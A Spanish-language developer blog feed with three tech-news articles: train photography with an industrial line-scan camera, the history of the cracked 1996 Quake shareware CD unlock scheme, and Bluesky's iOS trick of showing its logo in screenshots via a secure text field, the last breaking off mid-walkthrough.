DEV Community: lu1tr0n

Basler ruL2048-19gm: escanea 19.000 líneas por segundo desde un tren

lu1tr0n — Tue, 18 Aug 2026 14:23:31 +0000

Un tren no es un escáner, pero eso no impidió que un desarrollador convirtiera uno en uno. Philo pasó los últimos meses apuntando una cámara de escaneo lineal industrial por la ventana de trenes y ferris para capturar fotografías panorámicas de decenas de miles de píxeles de ancho, y el resultado lo presentó como charla en EMFcamp 2026.

El proyecto, documentado en detalle en su blog personal el 17 de agosto de 2026, resuelve un problema que las cámaras digitales convencionales no pueden: producir una imagen continua y de altísima resolución de un paisaje completo, línea por línea, mientras el vehículo se mueve a velocidad variable.

TL;DR

Philo construyó una cámara de escaneo lineal industrial para fotografiar trenes y ferris, publicado el 17 de agosto de 2026 en philo.gay.- La cámara usada es la Basler ruL2048-19gm, diseñada para inspeccionar cintas transportadoras industriales.- El sensor lee una línea de 1x2048 píxeles hasta cerca de 19.000 veces por segundo.- Una imagen tomada en el ferri de San Francisco a Oakland en febrero de 2026 midió 56.894x2.048 píxeles en escala de grises.- El precio de lista del modelo más básico de Basler ronda los 700 dólares; Philo la consiguió usada en eBay por un décimo de ese precio.- El proyecto se presentó como charla en EMFcamp 2026, el congreso hacker bienal del Reino Unido.- Los primeros prototipos usaron un teléfono grabando video, extrayendo una columna de cada cuadro (técnica heredada de los años 90).- El mayor desafío técnico fue medir la velocidad exacta del vehículo: los datos de acelerómetro resultaron demasiado ruidosos.

Introducción

Fotografiar un paisaje completo desde la ventana de un tren normalmente significa elegir un solo instante: la cámara del teléfono captura un fotograma y listo. El proyecto de Philo invierte esa lógica: en vez de congelar un instante, registra el recorrido completo como una sola imagen continua, línea por línea, usando el mismo principio que empleaban los escáneres de documentos de escritorio, pero aplicado a kilómetros de vía férrea en vez de una hoja de papel.

El resultado son fotografías que no se parecen a nada que produzca una cámara convencional: extremadamente anchas, de aspecto casi cartográfico, donde cada segmento horizontal corresponde a un tramo distinto del trayecto real.

Qué pasó

Philo lleva desde finales del año pasado experimentando con cámaras de escaneo lineal (line-scan cameras), sensores industriales que en vez de capturar un fotograma completo leen una única línea de píxeles muchas veces por segundo. Apuntada por la ventanilla de un tren o un ferri en movimiento, cada línea capturada corresponde a una franja distinta del paisaje. Si se capturan y se unen suficientes líneas por segundo, el resultado es una imagen continua que recorre kilómetros de recorrido en una sola toma.

El ejemplo que Philo usa para mostrar el resultado es una imagen tomada en el ferri que conecta San Francisco con Oakland en febrero de 2026: una fotografía en escala de grises de 56.894x2.048 píxeles, según describe en el artículo original. Para dimensionar esa cifra: una pantalla 4K mide apenas 3.840 píxeles de ancho, así que la imagen del ferri equivale a casi 15 pantallas 4K puestas una junto a otra.
Cada línea capturada corresponde a un instante distinto del recorrido.

Contexto e historia

La idea de mover un solo sensor lineal para construir una imagen grande no es nueva. En los años 90, cuando los sensores digitales todavía no alcanzaban la resolución del formato medio o grande en película, la industria fotográfica desarrolló los llamados dorsos de escaneo digital (scanning backs): dispositivos que movían una sola línea de píxeles, o tres para color, a lo largo del plano focal de una cámara de gran formato. Esa técnica evitaba construir un sensor gigante y sigue siendo, décadas después, más barata que fabricar un sensor grande de una sola pieza: hoy existen sensores que cubren el formato 4x5 pulgadas, pero son caros.

Philo quería construir su propio dorso de escaneo para su cámara de gran formato, pero nunca se animó por lo complicado de montarlo mecánicamente. La idea que terminó desbloqueando el proyecto llegó al ver un video sobre la cámara de escaneo de formato medio de Gigawipf: ¿y si en vez de mover una parte de la cámara, se mueve la cámara entera y el sujeto se queda quieto?. De ahí nació el concepto de apuntar el sensor lineal por la ventana de un vehículo en movimiento en vez de moverlo dentro de una cámara fija.

No es el primer intento de este tipo. Philo cita varios antecedentes: el Scannoramic project, el experimento de John Hikerbiker, la técnica de Daniel Lawrence Lu de invertir una cámara estacionaria y las fotografías en película de Martin Liebscher. Su objetivo fue mejorar esos resultados tomando en cuenta la velocidad real del movimiento, para evitar que la imagen final saliera deformada.

Detalles técnicos: cómo funciona la cámara de escaneo lineal

El primer prototipo fue literalmente un sofá. Philo puso su teléfono sobre una silla de oficina, lo empujó lentamente mientras grababa video, y con un script extraía la columna más a la izquierda (un slit) de cada cuadro para combinarlas en una sola imagen. El resultado se veía vagamente como un sofá, pero deformado, porque la velocidad de empuje no era constante. Esa fue la primera señal de que el problema central del proyecto no era óptico sino de medir la velocidad con precisión.

El segundo intento fue en la línea naranja del metro de Boston (MBTA): un teléfono viejo pegado al asiento capturaba datos del acelerómetro mientras otro grababa video a 60 cuadros por segundo contra la ventana. Integrar la aceleración para obtener velocidad resultó demasiado ruidoso: en un punto los datos indicaban que el tren se movía hacia atrás al final del trayecto, algo que evidentemente no pasó.

Para tener más líneas por segundo que un teléfono, Philo terminó comprando una Basler ruL2048-19gm, una cámara de escaneo lineal industrial diseñada para inspeccionar objetos sobre cintas transportadoras a alta velocidad. Su sensor de 1x2048 píxeles se puede leer hasta cerca de 19.000 veces por segundo, según documenta Philo. Ese ritmo de captura es lo que permite construir imágenes nítidas incluso cuando el tren avanza rápido: a más velocidad del vehículo, más líneas por segundo hacen falta para no perder detalle.

Comprar una de estas cámaras nueva no es barato: el modelo de gama más baja de Basler ronda los 700 dólares. Philo consiguió la suya en eBay por cerca de un décimo de ese precio, evitando además el problema de los dorsos de escaneo de los 90, que siguen costando miles de dólares y requieren reconstruir un entorno de cómputo de época para operarlos.

flowchart TD
    A["Sensor lineal 1x2048px"] --> B["Buffer de lineas"]
    B --> C["Estimacion de velocidad"]
    C --> D["Duplicar o descartar columnas"]
    D --> E["Imagen panoramica final"]

Cómo empezar o probarlo

No hace falta una cámara industrial de 700 dólares para experimentar con el concepto: la misma técnica de slit-scan que Philo usó en su primer prototipo con el sofá se puede reproducir con Python, una laptop y cualquier cámara que grabe video. La idea es la misma: tomar una sola columna de cada cuadro de un video y pegarlas una al lado de la otra.

Primero, instalá las dependencias. En los tres sistemas operativos el paquete es el mismo (opencv-python y numpy), solo cambia cómo se activa el entorno virtual:

# Windows (PowerShell)
python -m venv venv
venv\Scripts\Activate.ps1
pip install opencv-python numpy

# macOS / Linux (bash)
python3 -m venv venv
source venv/bin/activate
pip install opencv-python numpy

El script mínimo abre un video, extrae la columna central de cada cuadro y las va apilando en una imagen nueva:

import cv2
import numpy as np

captura = cv2.VideoCapture("paseo_en_tren.mp4")
columnas = []

while True:
    ok, cuadro = captura.read()
    if not ok:
        break
    alto, ancho = cuadro.shape[:2]
    columna_central = cuadro[:, ancho // 2]
    columnas.append(columna_central)

imagen_slitscan = np.stack(columnas, axis=1)
cv2.imwrite("slitscan_basico.png", imagen_slitscan)

Ese script produce una imagen deformada si la velocidad del vehículo no es constante, exactamente el problema que Philo encontró con el sofá. Una versión más realista compensa la velocidad duplicando u omitiendo columnas según qué tan rápido se mueve el vehículo en cada instante, usando el flujo óptico entre cuadros consecutivos para estimarla:

import cv2
import numpy as np

captura = cv2.VideoCapture("paseo_en_tren.mp4")
ok, cuadro_anterior = captura.read()
gris_anterior = cv2.cvtColor(cuadro_anterior, cv2.COLOR_BGR2GRAY)
columnas = []

while True:
    ok, cuadro = captura.read()
    if not ok:
        break
    gris = cv2.cvtColor(cuadro, cv2.COLOR_BGR2GRAY)
    flujo = cv2.calcOpticalFlowFarneback(
        gris_anterior, gris, None, 0.5, 3, 15, 3, 5, 1.2, 0
    )
    velocidad_horizontal = np.mean(flujo[:, :, 0])
    repeticiones = max(1, round(abs(velocidad_horizontal)))

    ancho = cuadro.shape[1]
    columna_central = cuadro[:, ancho // 2]
    for _ in range(repeticiones):
        columnas.append(columna_central)

    gris_anterior = gris

imagen_compensada = np.stack(columnas, axis=1)
cv2.imwrite("slitscan_compensado.png", imagen_compensada)

Para confirmar que la compensación funciona, medí en píxeles el ancho de un objeto que se repite a lo largo del trayecto, como un poste de luz o un cruce de vías: si ese ancho se mantiene razonablemente constante en toda la imagen, la velocidad estimada es correcta; si varía mucho, hay que ajustar los parámetros de calcOpticalFlowFarneback.
EnfoqueCuándo usarloVentajaLimitaciónTeléfono + script básicoPara probar el concepto sin gastar nadaCero inversión, listo en minutosSe deforma si la velocidad no es constanteTeléfono + flujo ópticoPara resultados presentables desde un bus o autoCompensa cambios de velocidad automáticamenteSigue limitado a los cuadros por segundo del teléfonoCámara Basler ruL2048-19gmPara imágenes nítidas a alta velocidad, como en un trenHasta 19.000 líneas por segundoRequiere hardware dedicado y montaje mecánicoUna sola pasada del tren genera una imagen de decenas de miles de píxeles de largo.

💡 Tip: si probás esto vos mismo, grabá contra una ventana limpia y en un tramo del recorrido sin curvas ni frenadas bruscas: los cambios de velocidad son, por lejos, la principal fuente de distorsión en cualquier imagen de escaneo lineal.

Impacto y análisis

Lo interesante del proyecto de Philo no es solo el resultado visual, sino la reutilización de hardware industrial fuera de su propósito original. La Basler ruL2048-19gm existe para control de calidad en líneas de producción, no para fotografía artística, y su disponibilidad en el mercado de segunda mano, retirada de fábricas que actualizan sus equipos, la vuelve accesible a un precio muy inferior al de un dorso de escaneo digital vintage.

También es un recordatorio de que buena parte del trabajo en proyectos de captura de imagen no está en el sensor sino en el post-procesamiento: sincronizar la velocidad de lectura de líneas con la velocidad real del vehículo es, según el propio relato de Philo, la parte que más tiempo le llevó resolver, muy por encima de conseguir o montar la cámara.

Philo no fue la única persona presentando este tipo de proyecto en EMFcamp 2026: Tim Jacobs, conocido como mitxela, dio una charla paralela sobre cámaras de escaneo lineal, aunque con un enfoque distinto, generando animaciones psicodélicas al recorrer todas las posiciones posibles de una franja dentro de un video en vez de fotografías fijas de paisajes reales.

📌 Nota: el propio Philo cuenta que se preocupó al ver la charla de mitxela en la agenda de EMFcamp, temiendo que ambos hubieran hecho exactamente lo mismo. Los dos proyectos resultaron ser complementarios, no duplicados.

Qué sigue

Philo mantiene una galería con más resultados del proyecto, incluida la imagen completa de un puerto de contenedores y la del ferri de San Francisco a Oakland. El artículo original, de unas 4.600 palabras, detalla además la construcción mecánica del soporte de la cámara y el pipeline de post-procesamiento completo, información útil para cualquiera que quiera replicar el proyecto con su propio hardware.

La charla de EMFcamp 2026 quedó grabada en video y está enlazada desde el mismo artículo, para quienes prefieran ver el proceso explicado paso a paso en vez de leerlo.

📖 Resumen en Telegram: Ver resumen

Probalo vos: clonate el script con flujo óptico de arriba, grabá un video corto desde la ventana de un bus y compará el resultado contra el script básico sin compensación.

Preguntas frecuentes

¿Qué es una cámara de escaneo lineal?

Es un sensor que en vez de capturar un fotograma completo captura una sola línea de píxeles, muchas veces por segundo. Se usa normalmente en inspección industrial, donde el objeto, por ejemplo algo sobre una cinta transportadora, se mueve frente al sensor fijo.

¿Por qué las imágenes de este proyecto son tan anchas?

Porque cada línea capturada por el sensor corresponde a un instante distinto del recorrido. Cuantas más líneas por segundo se capturen y más dure el trayecto, más larga resulta la imagen final, hasta llegar a decenas de miles de píxeles como en el ejemplo del ferri de San Francisco a Oakland.

¿Cuál es la principal dificultad técnica de este tipo de fotografía?

Medir con precisión la velocidad del vehículo en cada instante. Si la velocidad varía y no se compensa, la imagen final sale estirada o comprimida en las zonas donde el vehículo aceleró o frenó.

¿Se puede probar esta técnica sin comprar una cámara industrial?

Sí. El propio autor del proyecto empezó grabando video con un teléfono y extrayendo una columna de cada cuadro con un script casero, la misma técnica que se puede reproducir con Python y OpenCV.

¿Dónde se presentó este proyecto?

En EMFcamp 2026, un congreso hacker que se realiza cada dos años en Reino Unido, donde Philo dio una charla explicando el proceso completo de construcción y las fallas de los primeros prototipos.

¿Cuánto cuesta una cámara como la que usó Philo?

El modelo de gama baja de Basler ronda los 700 dólares nuevo; Philo consiguió la suya usada en eBay por cerca de un décimo de ese precio.

Referencias

Using the railway network as a flatbed scanner: artículo original de Philo con el detalle completo del proyecto, la galería de imágenes y el video de la charla en EMFcamp 2026.- Basler AG: fabricante de la cámara industrial de escaneo lineal ruL2048-19gm usada en el proyecto.- EMFcamp: congreso hacker bienal del Reino Unido donde se presentó la charla sobre este proyecto.- Image scanner (Wikipedia): contexto general sobre las tecnologías de escaneo de imagen, incluidos los dorsos digitales de los años 90.

📱 ¿Te gusta este contenido? Únete a nuestro canal de Telegram @programacion donde publicamos a diario lo más relevante de tecnología, IA y desarrollo. Resúmenes rápidos, contenido fresco todos los días.

GNOMON crackeó la protección del CD de Quake shareware en 39 días

lu1tr0n — Tue, 18 Aug 2026 08:23:46 +0000

En 1996, id Software imprimió 150.000 copias de un CD-ROM que nadie necesitaba pagar para desbloquear por completo: bastaba una herramienta gratuita llamada QCRACK.EXE.

El 17 de agosto de 2026, el investigador Fabien Sanglard publicó una reconstrucción técnica de cómo funcionaba el sistema de protección del Quake Shareware CD-ROM, un esquema de desbloqueo telefónico que la escena hacker rompió en apenas 39 días tras su lanzamiento original.

TL;DR

El CD Quake Shareware de id Software se vendió por 9,95 dólares en CompUSA y Computer City desde el 30 de agosto de 1996.
El grupo hacker GNOMON liberó Quakecrk.zip apenas 39 días después, el 8 de octubre de 1996, con la herramienta QCRACK.EXE.
El desbloqueo usaba un CHALLENGE que rotaba cada 5 minutos y un SERIAL validado por teléfono al 1-800-ID-GAMES.
La protección la proveía TestDrive Corp, una compañía externa, no id Software.
id Software terminó con casi 150.000 CDs sin vender en un almacén tras el fracaso comercial del esquema.
El número 1-800-669-9342 sigue activo en 2026, pero ya no conecta con un operador de desbloqueo.
El CD incluía acceso cifrado a todo el catálogo de id: varias versiones de DOOM, Heretic y Hexen.
Fabien Sanglard documentó el caso completo el 17 de agosto de 2026 en su blog técnico.

Introducción

A mediados de los años noventa, el CD-ROM era el accesorio más codiciado para una PC, después del carísimo procesador Intel Pentium. Con una capacidad de 640 MiB, el triple que un disco duro típico de la época, el formato abrió la puerta a fotos en 640x480 con paleta de 256 colores, pistas de audio en formato VOC y videos de Video for Windows a 12 fps.

Para los estudios de videojuegos, esa capacidad sobraba. Títulos como 7th Guest (1993), Wing Commander III: Heart of the Tiger (1994) y Phantasmagoria (1995) llenaron sus discos con secuencias de video de acción real, algo impensable cuando solo una porción de la pantalla podía animarse. John Carmack, líder técnico de id Software, veía ese relleno con desconfianza:

"La gente espera que los juegos en CD tengan toneladas de voz digitalizada y video [...] La broma aquí es que si alguna vez hacemos una versión en CD de DOOM, vas a recibir el juego y 'La Making of DOOM', un largometraje de una hora. Prefiero reducir todo a lo esencial y caber en un cartucho antes que inflar inútilmente un CD. Tengo un sentido minimalista de la estética en el diseño de juegos."

Esa frase, de enero de 1994 para la revista Atari Explorer Online, explica por qué Quake terminó ocupando apenas 22 MiB en su versión shareware. Y explica también por qué a id Software se le ocurrió una idea audaz para aprovechar el espacio sobrante del disco.

Qué pasó con el Quake Shareware CD-ROM

Para junio de 1996, tras tres años de desarrollo, id Software había terminado Quake. Como con sus juegos anteriores, la compañía planeaba lanzar una versión shareware gratuita y una versión completa de pago. Como el shareware ocupaba apenas 22 MiB de los 640 MiB disponibles en un CD-ROM, alguien en id tuvo una idea: llenar el espacio sobrante con versiones cifradas de todo el catálogo de la compañía.

La lógica comercial parecía sólida. Un jugador podía comprar el CD por 9,95 dólares en tiendas como CompUSA o Computer City, probar el shareware, y si quería el juego completo (o cualquier otro título de id) bastaba una llamada a un número 800 con una tarjeta de crédito para recibir una contraseña de desbloqueo al instante. Sin distribuidores intermedios, sin esperar un envío por correo.

El CD se anunció el 3 de julio de 1996 y salió a la venta el 30 de agosto de ese año. El experimento duró poco: el grupo hacker GNOMON liberó el archivo Quakecrk.zip apenas 39 días después, el 8 de octubre de 1996. Dentro venía QCRACK.EXE, una herramienta capaz de descifrar cualquiera de los juegos incluidos en el disco sin pasar por el teléfono ni la tarjeta de crédito.

Contexto e historia

El periodista David Kushner documentó el desenlace en su libro Masters of Doom: el experimento de venta minorista del shareware de Quake resultó un desastre. La idea de id era saltarse a los distribuidores dejando que los jugadores compraran el shareware y luego llamaran a un número 800 para pedir una contraseña que desbloqueara el resto del juego. Pero los jugadores no tardaron en hackear el shareware para desbloquear la versión completa gratis. Peor aún, los aspectos logísticos de distribución y cumplimiento de pedidos se salieron de control. En una medida desesperada, id intentó frenar la venta minorista del shareware, pero ya era tarde. Terminaron con casi 150.000 CDs acumulados en un almacén.

El nombre del grupo, GNOMON, no aparece en los créditos de ningún juego: como buena parte de la escena de crackers de los noventa, operaba de forma anónima y distribuía su trabajo a través de BBS y sitios FTP underground, mucho antes de que existieran foros centralizados o redes P2P masivas. Que un solo grupo lograra romper el esquema de TestDrive Corp en poco más de un mes ilustra cuán rápido la escena podía analizar un binario de MS-DOS sin herramientas de depuración modernas.

Gracias a archivos de Usenet del grupo rec.games.computer.quake.misc, existen discusiones detalladas de cómo funcionaba el sistema en la práctica. El empaque tenía una calidad sorprendentemente alta para tratarse de un producto shareware: una estampa en la portada aclaraba que se trataba de la versión shareware, con instrucciones para llamar al 1-800-669-9342 (o 1-800-ID-GAMES) y desbloquear el juego completo.

Ese número telefónico sigue activo en 2026. Pero como la cadena CompUSA cerró entre 2007 y 2008, ya no conecta con un operador de desbloqueo: hoy responde un mensaje automático que intenta vender productos sin relación con Quake.

El CD costaba 9,95 dólares en CompUSA y Computer City.

Detalles técnicos y rendimiento

El proceso de desbloqueo era, en apariencia, sólido. La interfaz gráfica del CD permitía saltar directo al shareware de Quake, pero también incluía un botón QUAKE UNLOCK. Había además una sección llamada ID STUFF que permitía explorar el catálogo completo de id y desbloquear cualquiera de sus juegos: varias versiones de DOOM, además de Heretic y Hexen.

Al iniciar el desbloqueo, el programa generaba un número que Sanglard llama CHALLENGE, que el usuario debía comunicar por teléfono a un agente del servicio. Tras pagar, el agente entregaba un número de vuelta, el SERIAL, que desbloqueaba el juego. Ambos números incluían checksums para mitigar errores de transcripción propios de una llamada telefónica, el modo de comunicación más primitivo posible para este tipo de transacción.

La pieza clave contra la reutilización de un SERIAL robado o compartido era el tiempo: el CHALLENGE cambiaba cada vez que se ejecutaba el programa y además rotaba automáticamente cada 5 minutos mientras la interfaz permanecía abierta. Como el CHALLENGE incluía un componente aleatorio, no había forma de reutilizar un SERIAL ya emitido para otra sesión.

La tecnología detrás del bloqueo y desbloqueo no era de id Software: la proveía TestDrive Corp, una compañía externa especializada en sistemas antipiratería para distribución minorista. Ese detalle explica por qué el esquema se sostenía en un servicio telefónico de terceros y no en el propio código de Quake.

sequenceDiagram
    participant J as Jugador
    participant G as "GUI del CD"
    participant O as "Operador telefónico"
    participant T as "Sistema TestDrive"
    J->>G: Ejecuta QUAKE UNLOCK
    G->>J: Muestra el CHALLENGE
    J->>O: Llama con el CHALLENGE
    O->>T: Consulta el SERIAL
    T-->>O: Devuelve SERIAL con checksum
    O-->>J: Dicta el SERIAL por teléfono
    J->>G: Ingresa el SERIAL
    G-->>J: Desbloquea el catálogo de id

Para ilustrar el principio general de un desafío-respuesta con checksum, sin reproducir el algoritmo real de TestDrive, que nunca se publicó, un esquema simplificado luce así:

import random

def generar_challenge():
    numero = random.randint(100000, 999999)
    checksum = sum(int(d) for d in str(numero)) % 10
    return f"{numero}-{checksum}"

def validar_serial(challenge, serial_ingresado, serial_esperado):
    numero, checksum = challenge.split("-")
    return serial_ingresado == serial_esperado and int(checksum) == \
        sum(int(d) for d in numero) % 10

Este fragmento no reproduce el algoritmo de TestDrive, pero muestra el principio: un número que cambia en cada sesión, un checksum para detectar errores de dictado telefónico, y una validación que depende de ambos.

Cómo probarlo

El CD original de 1996 ya no se vende, pero el shareware que corría dentro sigue siendo perfectamente ejecutable hoy con un emulador de DOS. El shareware, por diseño, siempre fue de distribución libre, así que la forma más simple de revivir la experiencia es con DOSBox o su fork DOSBox-X, disponibles en las tres plataformas principales.

# Windows (con winget)
winget install --id DosBox.DosBox -e

# macOS (con Homebrew)
brew install dosbox

# Linux (Debian/Ubuntu)
sudo apt install dosbox

Con DOSBox instalado, el flujo para correr el shareware original es montar la carpeta como una unidad virtual y ejecutar el binario:

mount c /ruta/a/quake-shareware
c:
cd quake
QUAKE.EXE

Esto no desbloquea nada: solo corre la versión shareware original de 22 MiB, la misma que ejecutaban los jugadores de 1996 antes de decidir si llamaban al 1-800-ID-GAMES.

💡 Tip: Si querés ver documentos técnicos de la época, los archivos de Usenet de rec.games.computer.quake.misc siguen accesibles vía Google Groups y son la fuente primaria que usó Sanglard para reconstruir el protocolo.

CompUSA y Computer City fueron los principales puntos de venta del CD.

Impacto y análisis

El fracaso comercial del Quake Shareware CD-ROM tuvo consecuencias concretas. id Software quedó con cerca de 150.000 CDs sin vender, un problema logístico que Kushner documenta como parte del desgaste operativo de la compañía en esa etapa. El modelo de cortar intermediarios que prometía el CD terminó generando más fricción que ahorro: entre pedidos telefónicos, validación de tarjetas de crédito y el manejo de reclamos, la operación se volvió inmanejable antes de que la piratería del propio esquema lo rematara.

El episodio también sirve como estudio de caso sobre el límite de un DRM basado en un secreto compartido y un canal de comunicación humano. Bastaba que un solo grupo entendiera la relación entre CHALLENGE y SERIAL para que la protección completa cayera, y una vez publicada la herramienta, cualquier usuario podía repetir el proceso sin límite.

El patrón se repitió después con otros esquemas de protección basados en un secreto único y estático: cada vez que la validación depende de un solo algoritmo fijo, extraerlo del binario (con un depurador o, hoy, con herramientas de análisis estático automatizado) suele bastar para romper la protección completa, sin importar cuántas capas de checksum se agreguen encima.

Modelo de distribuciónCómo funcionabaVentajaLimitación

CD shareware con desbloqueo telefónico (Quake, 1996)CHALLENGE/SERIAL validado por un operador humano vía TestDrive CorpCompra instantánea, sin distribuidorUn solo crack expone todo el catálogo
Shareware con registro postal (DOOM, 1993)El jugador enviaba un formulario y pago para recibir el juego completo por correoSin infraestructura de validación en tiempo realTiempos de entrega de días o semanas
Distribución digital con cuenta (modelo actual)El binario se descarga cifrado y se valida contra una cuenta en cada ejecución onlineActualizaciones y parches automáticosRequiere conexión y dependencia de la plataforma

Qué sigue

El caso del Quake Shareware CD-ROM anticipó un problema que la industria del software siguió resolviendo durante las tres décadas siguientes: cómo verificar una compra sin depender de un humano en el medio. Los sistemas modernos de activación heredan la misma lógica de desafío-respuesta que usaba TestDrive Corp, pero automatizada de punta a punta y sin checksums pensados para dictado telefónico.

La comparación con la distribución digital actual no es solo nostálgica: explica por qué prácticamente ningún estudio grande vuelve hoy a un modelo de validación telefónica. El costo de operar call centers, imprimir CDs físicos y lidiar con inventario sin vender desapareció en cuanto la conexión a internet se volvió la norma en los hogares.

💭 Clave: El propio John Carmack predijo el problema antes de que ocurriera: su preferencia por juegos que quepan en un cartucho reflejaba desconfianza hacia el relleno multimedia que el CD-ROM incentivaba, no solo en contenido sino en la complejidad de distribución que traía consigo.

📖 Resumen en Telegram: Ver resumen

Probalo vos: instalá DOSBox con el comando de tu sistema operativo y corré el shareware original de Quake en minutos.

Preguntas frecuentes

¿Qué era el Quake Shareware CD-ROM?

Un disco de 9,95 dólares vendido en 1996 en tiendas como CompUSA que incluía la versión shareware de Quake (22 MiB) más versiones cifradas de todo el catálogo de id Software, desbloqueables por teléfono.

¿Quién crackeó la protección?

El grupo hacker GNOMON, que liberó la herramienta QCRACK.EXE dentro del archivo Quakecrk.zip el 8 de octubre de 1996, 39 días después del lanzamiento del CD.

¿Quién proveía la tecnología de protección?

TestDrive Corp, una compañía externa especializada en sistemas de desbloqueo para distribución minorista, no id Software.

¿El número 1-800-ID-GAMES sigue funcionando?

El número sigue activo en 2026, pero ya no conecta con un operador de desbloqueo porque CompUSA cerró entre 2007 y 2008; hoy responde un mensaje automático ajeno a Quake.

¿Se puede jugar el shareware original hoy?

Sí. El binario corre sin modificaciones en DOSBox o DOSBox-X en Windows, macOS y Linux, montando la carpeta del juego como unidad virtual.

¿Cuántos CDs quedaron sin vender?

Según David Kushner en Masters of Doom, id Software terminó con casi 150.000 CDs acumulados en un almacén tras el fracaso comercial del esquema.

Referencias

Quake Shareware, a CD-ROM just a little too full: la investigación original de Fabien Sanglard sobre el sistema de desbloqueo del CD.
Quake (video game) - Wikipedia: contexto general sobre el desarrollo y lanzamiento del juego en 1996.
Masters of Doom - Wikipedia: referencia al libro de David Kushner que documenta el desenlace comercial del esquema.
DOSBox: emulador oficial usado para correr el shareware original de Quake en sistemas modernos.

Bluesky usa un campo de texto seguro para mostrar su logo en capturas

lu1tr0n — Tue, 18 Aug 2026 02:23:32 +0000

Cuando tomás una captura de pantalla de un post en Bluesky, en la esquina superior derecha aparece la mariposa que es el logo de Bluesky. Pero si mirás la misma pantalla dentro de la app, ese espacio lo ocupa el botón Seguir. Nadie te avisa: el cambio ocurre en el instante exacto en que el sistema genera la imagen.

El hallazgo lo publicó el 16 de agosto de 2026 un desarrollador que firma como mt, en un post en su blog personal, después de notar que la mariposa nunca lo molestaba dentro de la app pero sí aparecía en cada captura que guardaba. La explicación estaba en el código abierto de Bluesky: un archivo llamado GrowthHack.tsx que reutiliza una función de iOS pensada originalmente para ocultar contraseñas.

TL;DR

La app iOS de Bluesky reemplaza el botón Seguir por el logo de Bluesky al detectar una captura de pantalla.
El mecanismo vive en GrowthHack.tsx, agregado en enero de 2026 por el desarrollador mozzius.
La librería expo-privacy-sensitive crea un UITextField con isSecureTextEntry y dibuja el botón dentro de su layer.
iOS vacía el layer de un campo de texto seguro al capturar pantalla, revelando el logo que estaba detrás.
El truco no funciona al cambiar de app: iOS toma esa vista previa sin activar el vaciado del campo seguro.
En Android y web, expo-privacy-sensitive renderiza el contenido normal, sin ocultar nada.
Telegram y Signal usan el mismo mecanismo de UITextField seguro para proteger chats secretos de capturas.
El hilo donde el equipo discutió el cambio quedó bloqueado tras críticas de la comunidad.

Qué pasó con el logo de Bluesky en las capturas

mt hizo una prueba simple: capturó un post que le gustaba para reenviarlo a un grupo de amigos. En la imagen final, el logo de Bluesky aparecía donde antes había un botón Seguir. Volvió a abrir la app y ahí, en la pantalla real, seguía el botón: nunca el logo.

La primera hipótesis fue que la app detectaba la combinación de teclas de la captura y cambiaba la vista antes de que el sistema tomara la foto. mt probó otra cosa: deslizar hacia arriba para cambiar de app a mitad de gesto, sin completar la captura. En ese caso, la vista previa que genera iOS sí mostraba el botón Seguir, no el logo.

Esa diferencia fue la pista clave. Si el cambio dependiera de una combinación de teclas, debería verse igual en los dos casos. Como no era así, el mecanismo tenía que depender de una función del propio sistema operativo, no de código de la app reaccionando a un gesto.

Comparación real: la app muestra el botón; la captura, el logo.

Contexto e historia: un truco viejo con un uso nuevo

iOS incluye desde hace más de una década una protección pensada para campos de contraseña: si marcás un UITextField con la propiedad isSecureTextEntry en true, el sistema oculta su contenido automáticamente cuando detecta una captura de pantalla o cuando genera la miniatura del selector de apps. Es la misma razón por la que tu contraseña nunca aparece en la vista previa del multitarea.

Apps de mensajería cifrada llevan años reutilizando esa misma protección para todo tipo de contenido, no solo contraseñas. Telegram la aplica en sus chats secretos, y Signal hace algo equivalente para blindar el contenido completo de una conversación contra capturas no autorizadas. En ambos casos la lógica es defensiva: ocultar información sensible.

Bluesky le dio la vuelta a esa lógica en enero de 2026. El desarrollador que usa el identificador mozzius agregó el archivo GrowthHack.tsx a la app, apoyado en una librería propia llamada expo-privacy-sensitive. El objetivo ya no era ocultar algo sensible, sino mostrar algo: el logo de Bluesky, que hasta ese momento quedaba tapado por el botón Seguir en cada perfil.

Este tipo de decisiones se enmarca en lo que en la industria se conoce como growth hacking: cambios pequeños de producto, muchas veces invisibles para el usuario final, diseñados para aumentar la exposición orgánica de una marca sin gastar en publicidad. El propio nombre del archivo, GrowthHack.tsx, lo deja explícito.

💭 Clave: el logo de Bluesky no aparece por arte de magia en la captura: estuvo ahí todo el tiempo, dibujado detrás del botón Seguir, esperando a que el sistema vaciara el campo que lo tapaba.

Detalles técnicos: cómo un campo de contraseña dibuja un logo

El paquete expo-privacy-sensitive no dibuja un ícono nuevo cuando detecta una captura. Hace algo más sutil: crea un UITextField invisible, le pone isSecureTextEntry = true, y renderiza el contenido real, en este caso el botón Seguir, dentro de la capa (.layer) de ese campo.

Un ejemplo simplificado en Swift de la idea central, sin el envoltorio de Expo, se vería así:

let secureField = UITextField()
secureField.isSecureTextEntry = true
secureField.isUserInteractionEnabled = false

let followButton = UIButton(type: .system)
followButton.setTitle("Seguir", for: .normal)

secureField.layer.addSublayer(followButton.layer)
view.addSubview(secureField)

Cuando el usuario toma una captura de pantalla, iOS vacía automáticamente el layer de cualquier UITextField seguro visible en ese momento. El botón Seguir desaparece de la imagen resultante y, como estaba dibujado encima del logo, ese logo queda al descubierto.

Del lado de React Native, el uso del paquete es mucho más simple: se envuelve el componente sensible en un wrapper que hace ese trabajo por debajo.

import { PrivacySensitiveView } from "expo-privacy-sensitive";

export function FollowButtonOverlay() {
  return (



  );
}

La pregunta que queda es por qué el truco no se activa al cambiar de app con el gesto de deslizar. mt propone una explicación razonable, aunque aclara que no es developer de iOS: el sistema toma esa vista previa del selector de apps al inicio del gesto, antes de que exista una instancia viva del UITextField que reaccione. La captura de pantalla, en cambio, sí encuentra un campo seguro activo para vaciar.

Por qué falla la vista previa del multitarea

Dicho de otro modo: la protección de isSecureTextEntry depende de que el campo exista en pantalla en el momento exacto en que el sistema decide vaciarlo. La captura de pantalla dispara ese vaciado en vivo. El snapshot del selector de apps, en cambio, parece generarse a partir de una instantánea ya congelada, sin ese disparador.

sequenceDiagram
    participant U as Usuario
    participant App as App de Bluesky
    participant iOS as Sistema iOS
    App->>iOS: dibuja el boton Seguir dentro del layer de un UITextField seguro
    U->>iOS: toma una captura de pantalla
    iOS-->>App: vacia el layer del campo seguro
    Note over U,iOS: el logo de Bluesky que estaba detras queda visible en la imagen final

Un UITextField seguro puede ocultar cualquier vista dentro de su layer.

Cómo probarlo vos mismo

El experimento de mt se puede repetir con cualquier cuenta de Bluesky en un iPhone. Solo hacen falta tres pasos:

Abrí cualquier perfil en la app oficial de Bluesky para iOS y ubicá el botón Seguir en la esquina superior derecha.
